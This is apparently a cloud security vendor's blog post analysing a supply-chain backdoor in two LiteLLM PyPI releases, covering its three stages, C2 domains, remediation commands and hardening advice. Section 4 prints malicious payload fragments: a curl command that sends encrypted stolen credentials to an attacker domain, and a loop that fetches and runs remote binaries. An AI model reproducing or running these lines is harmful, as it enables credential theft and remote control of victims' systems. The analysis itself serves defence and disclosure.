×
Community Blog Deep Analysis: The LiteLLM Supply Chain Poisoning Incident — A Full-Link Analysis of the TeamPCP Three-Stage Backdoor

Deep Analysis: The LiteLLM Supply Chain Poisoning Incident — A Full-Link Analysis of the TeamPCP Three-Stage Backdoor

This blog post analyzes the LiteLLM supply chain poisoning and details Alibaba Cloud's mitigation measures.

1. Overview of the Incident

On March 24, 2026, the JFrog Security Research Team disclosed a supply-chain attack targeting the popular Python AI framework LiteLLM, which has accumulated over 480 million downloads from PyPI. The attacker used LiteLLM versions 1.82.7 and 1.82.8 Malicious packages in two versions were uploaded to PyPI, each containing a multi-stage backdoor. Traceability analysis indicates that this attack is highly correlated with the recently active TeamPCP supply-chain threat group. The C2 server address, encryption method, and backdoor scripts are identical to those used in the group’s previous attacks against the npm ecosystem.

Currently, all versions of LiteLLM have been isolated on PyPI.
Alibaba Cloud Security Center and Cloud Firewall have promptly deployed relevant detection and interception policies and are continuously monitoring the situation.

2. Scope of Impact Analysis: Why Was This Incident So Severe?

Litellm is one of the most central Python middleware libraries in the current AI ecosystem, and its reach metrics are alarming:
1
LiteLLM is positioned as a unified gateway for LLMs. Enterprise users typically deploy it on the core production pipeline.Serves as a unified entry point for calling over 100 large-model APIs, including those from OpenAI, Anthropic, Azure, and Vertex AI.
This means:

● The victims are predominantly enterprise users—individual developers rarely require LLM gateways. The vast majority of LiteLLM users are mid- to large-sized enterprises operating AI infrastructure.
● The production environment typically stores a large volume of high-value credentials. The LiteLLM proxy itself requires configuration with API keys from major cloud providers, database connection strings, Kubernetes cluster credentials, and more—precisely the types of assets that malicious payloads target for exfiltration.
● Deployment location sensitivity—many users deploy LiteLLM in Kubernetes clusters, and the attacker’s third-stage payload leverages this to propagate laterally throughout the entire cluster.
● The AI supply chain has become a battleground. As a critical node in the AI development pipeline, a compromise of LiteLLM effectively gives attackers a foothold into the AI infrastructure of tens of thousands of downstream enterprises.

An average of 3.45 million downloads per day means that, for every minute the malicious package was hosted on PyPI, potential victims were being compromised. This is the core reason TeamPCP chose LiteLLM as its attack target: high value, high privileges, and a broad attack surface.

3. Attack Entry Point: Poisoning Path Analysis

The key characteristic of this attack lies in the “package-specific poisoning of Wheel packages”:
In the PyPI Wheel package: contains complete malicious code, including litellm_init.pth(Python startup hook) and the tampered proxy_server.py, forming a three-stage backdoor attack chain
In the GitHub source code repository: Malicious code was not fully committed to the public repository; only a limited sequence of steps for credential theft was present (as can be seen in fcaa823Submit)
This means:

  1. The attacker bypassed the standard Git commit workflow and directly tampered with the Wheel package during the build/release phase.
  2. It is impossible to detect the full malicious payload by auditing the GitHub source code alone.
  3. Any installation that relies on PyPI (pip install litellm) and any systems not built from source are affected.

Possible intrusion paths
LiteLLM uses Trivy for security scanning in its CI/CD pipeline (see ci_cd/security_scans.sh). Given that Trivy has recently been confirmed to have been targeted by TeamPCP as well, it is highly likely that the attackers carried out the supply-chain poisoning via the following chain:

Trivy was compromised → The litellm CI/CD environment was affected → Malicious code was injected during the Wheel build stage → It was uploaded to PyPI.

4. Malicious Payload Technical Analysis

4.1 Phase One: Initial Implementation

Malicious code is triggered through two entry points:
Entry Point 1: litellm_init.pth (Python path initialization hook)
● The .pth file is automatically executed when the Python interpreter starts.
● No explicit function calls by the user are required,import litellm Immediately trigger.
Entry Point 2: proxy_server.py(Tampered Proxy Server Entry)
● Embed a Base64-encoded payload within the normal boot process.
● Malicious code is executed synchronously when the proxy service is started.
After the payload is decoded, it is written to a temporary file and executed as follows:

subprocess.run([sys.executable, p])

4.2 Phase Two: Information Theft and Encrypted Exfiltration

The second phase involves comprehensive host information collection, covering an extremely broad scope:

2
Data Encryption and Data Export Mechanism:

# Generate a random AES key
subprocess.run(["openssl", "rand", "-out", sk, "32"])
# Encrypt collected data with AES-256-CBC
subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, 
                "-pass",f"file:{sk}", "-pbkdf2"])
# Encrypt AES key with RSA-4096 (Enveloping Encryption)
subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, 
                "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"])
# Package and upload to C2 via curl
subprocess.run(["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST",
                "https://models.litellm.cloud/",
                "-H", "Content-Type: application/octet-stream",
                "-H", "X-Filename: tpcp.tar.gz",
                "--data-binary", f"@{bn}"])

Utilizes an AES-256-CBC + RSA-4096 enveloping encryption scheme to ensure data decryption is restricted solely to attackers holding the private key.

4.3 Phase Three: Persistence and Secondary Payload Delivery

Local Persistence (Non-Kubernetes Environment):
● Installation path:~/.config/sysmon/sysmon.py
● Register as a systemd user service: sysmon.service(Disguised as "System Telemetry Service")
Kubernetes Environment Persistence:
● After detecting a Service Account Token, iterate over all Kubernetes nodes.
● in kube-system Namespace deployment named node-setup-* privileged Pod
● Each Pod mounts the host’s root file system (/), implant a persistent backdoor via chroot
Secondary load fetching mechanism:

# Initial wait of 300 seconds before entering the loop
req = urllib.request.Request("https://checkmarx.zone/raw", 
                             headers={'User-Agent': 'Mozilla/5.0'})
# Poll every 3000 seconds (approx. 50 minutes)
# Download binary to /tmp/pglog, grant execute permissions, and run in a new session
subprocess.Popen([TARGET], stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL, start_new_session=True)

Through checkmarx.zone/raw Polls for remote commands, downloads and executes arbitrary binary payloads, enabling full remote control. The status tracking file is located at/tmp/.pg_state, to avoid redundant downloads.

5. C2 Infrastructure Analysis

3
The attackers meticulously crafted C2 domains to masquerade as legitimate LiteLLM and Checkmarx addresses, significantly complicating incident response efforts. This is a hallmark tactic of TeamPCP.

6. Differences Between GitHub Repositories and PyPI Packages

This is a critically important technical detail in this incident:
The GitHub repository (commit fcaa823) contains only the credential-stealing steps, while the full malicious payload—specifically litellm_init.pth and the modified proxy_server.py—resides exclusively within the PyPI wheel package and has not been committed to the source code repository.
This means:
Conventional source-code auditing techniques were ineffective against this attack—simply auditing the GitHub repository was insufficient to uncover the full attack chain.
● The attacker bypassed Git-history-based security checks by poisoning the build process rather than injecting malicious code directly into the source code.
● Enterprises need to establish artifact-level security detection capabilities to perform binary/artifact integrity verification on Wheel packages themselves, rather than relying solely on source code scanning.

7. Impact Assessment

Affected versions: litellm 1.82.7, 1.82.8
Affected platforms: All via pip install Install the environment for the above version.
High-risk scenarios:
Running the LiteLLM Proxy in a Cloud-Native/Kubernetes Environment (Triggers the Deployment of a Privileged Pod)
Development/production environments storing cloud provider credentials
Referencing LiteLLM in a CI/CD pipeline (resulting in infrastructure key leakage)

8. Alibaba Cloud Security Response

Alibaba Cloud Security Center and Cloud Firewall have, at the earliest possible moment, completed the following responses:

Detection policy launched: The Cloud Security Center has launched detection policies targeting litellm 1.82.7 / 1.82.8 Malicious package detection rules that support automatic identification of affected hosts.
4
Network interception: Blocked by the Cloud Firewall models.litellm.cloudand checkmarx.zone Outbound connections to two C2 domains.
5
Persistence clearance detection: Supported sysmon.service Malicious systemd services and in K8s node-setup-* Privileged Pod.
Continuous Monitoring: Ongoing tracking and intelligence updates on the latest attack campaigns targeting the TeamPCP organization.

9. Repair Recommendations

9.1 Emergency Response

Version Troubleshooting: Immediately check all environments and execute.pip show litellm, Confirm whether version 1.82.7 or 1.82.8 is installed.
Downgrade Procedure: If an affected version is detected, immediately downgrade to a known secure version.
Host Isolation: Isolate hosts that are running the affected version, assuming all credentials have been compromised.

9.2 Clear Persistence

# Stop and disable the malicious systemd service
systemctl --user stop sysmon.service
systemctl --user disable sysmon.service

# Remove malicious files
rm -rf ~/.config/sysmon/sysmon.py
rm -f ~/.config/systemd/user/sysmon.service
kill -9 $(pgrep -f /tmp/pglog)
rm -f /tmp/pglog /tmp/.pg_state

9.3 K8s environment check

# Check for and remove malicious Pods in kube-system
kubectl get pods -n kube-system | grep node-setup
kubectl delete pod -n kube-system <pod-name>

# Check for persistent backdoors on all nodes
# (Must be executed on each node)
ls -la /root/.config/sysmon/

9.4 Voucher Rotation

Given the extremely broad scope of the compromise, it is recommended to perform a full rotation of the following credentials:
● Cloud provider API keys and access credentials
● Kubernetes cluster certificates and Service Account Tokens
● SSH key pair
● Git Credentials and CI/CD Tokens
● Database password
● TLS/SSL private keys

9.5 Network Layer Protection

Block the following domains at the firewall/DNS level:
models.litellm.cloud
checkmarx.zone

10. Security Recommendations: Building a Supply Chain Security Defense

This incident once again highlights the severe threat posed by software supply chain attacks. Given that the AI ecosystem, particularly LLM frameworks, is increasingly becoming a target of attacks, it is recommended that enterprises:

Product-level security scanning: Do not rely solely on source code auditing; you must perform integrity verification and security scans on the final artifacts (Wheel/JAR/NPM packages).
Dependency Locking and Signature Verification: Using pip --require-hashes Lock dependency hashes, enable PyPI package signature verification.
Principle of least privilege: Restrict permissions in both the CI/CD and runtime environments, particularly Kubernetes RBAC, to prevent Pods from gaining host-mounting privileges.
Outbound Network Control: Enforce a whitelist policy on outbound traffic from cloud servers to block unknown C2 communications.
Continuous Monitoring: Deploy runtime security detection to monitor for anomalous behaviors such as process creation, systemd service registration, and the creation of privileged Pods in Kubernetes.

11. IoC (Indicators of Compromise)

6

12. About Us

For more information, visit:
Security Center
Cloud Firewall

0 1 0
Share on

CloudSecurity

22 posts | 1 followers

You may also like

Comments